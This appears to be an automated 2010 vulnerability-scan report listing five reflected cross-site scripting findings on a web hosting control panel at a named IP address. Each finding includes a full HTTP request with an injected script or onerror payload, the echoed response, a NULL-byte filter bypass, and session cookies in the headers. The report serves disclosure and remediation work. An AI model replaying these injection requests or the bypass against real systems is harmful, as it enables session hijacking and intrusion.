Report generated by XSS.CX at Sat Oct 09 23:43:55 CDT 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]

1.2. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]

1.3. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]

1.4. http://174.122.23.218:8880/smb/file/copy [items%5B0%5D parameter]

1.5. http://174.122.23.218:8880/smb/file/index/type/external/ [folder parameter]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://174.122.23.218:8880
Path:   /smb/app/available/id/apscatalog/

Issue detail

The value of the category request parameter is copied into the HTML document as plain text between tags. The payload b84df<script>alert(1)</script>b8f6a35284f was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /smb/app/available/id/apscatalog/?category='%22--%3E%3Cscript%3Ealert(0x000819)%3C/script%3Eb84df<script>alert(1)</script>b8f6a35284f HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: 174.122.23.218:8880
Cookie: user=54a8ad2443247fe6e4900290dc4e0cf8; do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
Date: Sun, 10 Oct 2010 01:31:01 GMT
Connection: close
Content-Length: 15550


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>b84df<script>alert(1)</script>b8f6a35284f',
details: null,
resizeCallback: "Smb.Views.Apps.resizeBlocks"
});
});
</script>
...[SNIP]...

1.2. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://174.122.23.218:8880
Path:   /smb/app/available/id/apscatalog/

Issue detail

The value of the category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 819d9</script><script>alert(1)</script>84e52f6ee11 was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /smb/app/available/id/apscatalog/?category=819d9</script><script>alert(1)</script>84e52f6ee11 HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: 174.122.23.218:8880
Cookie: user=54a8ad2443247fe6e4900290dc4e0cf8; do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
Date: Sun, 10 Oct 2010 01:30:57 GMT
Connection: close
Content-Length: 15521


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
t to try it.","marketplaceMoreInfo":"For more information, visit %%link%%.","marketplaceMoreInfoLink":"the app vendor's website"},
baseUrl: '/smb',
category: '819d9</script><script>alert(1)</script>84e52f6ee11',
details: null,
resizeCallback: "Smb.Views.Apps.resizeBlocks"
});
});
</script>
...[SNIP]...

1.3. http://174.122.23.218:8880/smb/app/available/id/apscatalog/ [category parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://174.122.23.218:8880
Path:   /smb/app/available/id/apscatalog/

Issue detail

The value of the category request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00de641</script>f5838bd3d85 was submitted in the category parameter. This input was echoed as de641</script>f5838bd3d85 in the application's response.

This behaviour demonstrates that it is possible to can close the open <SCRIPT> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /smb/app/available/id/apscatalog/?category=Web%2FContent+management%00de641</script>f5838bd3d85 HTTP/1.1
Host: 174.122.23.218:8880
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://174.122.23.218:8880/smb/app/top-categories-data/
Cookie: do-not-show-getting-started-popup=true; show-getting-started-popup=false; PHPSESSID=10321169792bce25daa15603ea9ba645; user=54a8ad2443247fe6e4900290dc4e0cf8;

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
Date: Sun, 10 Oct 2010 01:29:53 GMT
Connection: close
Content-Length: 15519


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
aceMoreInfo":"For more information, visit %%link%%.","marketplaceMoreInfoLink":"the app vendor's website"},
baseUrl: '/smb',
category: 'Web/Content management.de641</script>f5838bd3d85',
details: null,
resizeCallback: "Smb.Views.Apps.resizeBlocks"
});
});
</script>
...[SNIP]...

1.4. http://174.122.23.218:8880/smb/file/copy [items%5B0%5D parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://174.122.23.218:8880
Path:   /smb/file/copy

Issue detail

The value of the items%5B0%5D request parameter is copied into the HTML document as plain text between tags. The payload b24af<img%20src%3da%20onerror%3dalert(1)>2312b78d569de41f4 was submitted in the items%5B0%5D parameter. This input was echoed as b24af<img src=a onerror=alert(1)>2312b78d569de41f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /smb/file/copy?type=external&folder=&targetType=shared&targetFolder=&force=false&items%5B0%5D=2010-attacks.jpgb24af<img%20src%3da%20onerror%3dalert(1)>2312b78d569de41f4&_= HTTP/1.1
Host: 174.122.23.218:8880
Proxy-Connection: keep-alive
Referer: http://174.122.23.218:8880/smb/file/index/type/external
Origin: http://174.122.23.218:8880
X-Prototype-Version: 1.6.1_rc3
X-Requested-With: XMLHttpRequest
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: show-getting-started-popup=false; do-not-show-getting-started-popup=true; show-getting-started-popup=true; user=187d997e8ea6a5d0f56792f7f9ba70a4; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; locale=en-US; psaContext=domains

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
Date: Sun, 10 Oct 2010 04:36:39 GMT
Connection: close
Content-Length: 238

{"status":"ERROR","message":"Unable to copy: internal WebDAV service error. Error code: 404. Contact the server administrator to resolve this problem.","data":{"2010-attacks.jpgb24af<img src=a onerror=alert(1)>2312b78d569de41f4":"ERROR"}}

1.5. http://174.122.23.218:8880/smb/file/index/type/external/ [folder parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://174.122.23.218:8880
Path:   /smb/file/index/type/external/

Issue detail

The value of the folder request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a008</script><script>alert(1)</script>bfba8db7d4d was submitted in the folder parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /smb/file/index/type/external/?folder=3a008</script><script>alert(1)</script>bfba8db7d4d HTTP/1.1
Host: 174.122.23.218:8880
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: show-getting-started-popup=false; do-not-show-getting-started-popup=true; show-getting-started-popup=true; user=187d997e8ea6a5d0f56792f7f9ba70a4; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; locale=en-US; psaContext=domains

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
Date: Sun, 10 Oct 2010 04:14:33 GMT
Connection: close
Content-Length: 49586


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
st-data',
searchable: false,
pageable: false,
operationsTag: 'div',
operationsClass: 'objects-toolbar clearfix',
actionsClass: '',
currentFolder: '3a008</script><script>alert(1)</script>bfba8db7d4d',
storageType: 'external',
storageUrl: 'http://plesk.cloudscan.me:80/files/public/',
loadingTitle: 'Please wait. Loading...',
locale: {"noEntriesFound":"No files ye
...[SNIP]...

Report generated by XSS.CX at Sat Oct 09 23:43:55 CDT 2010.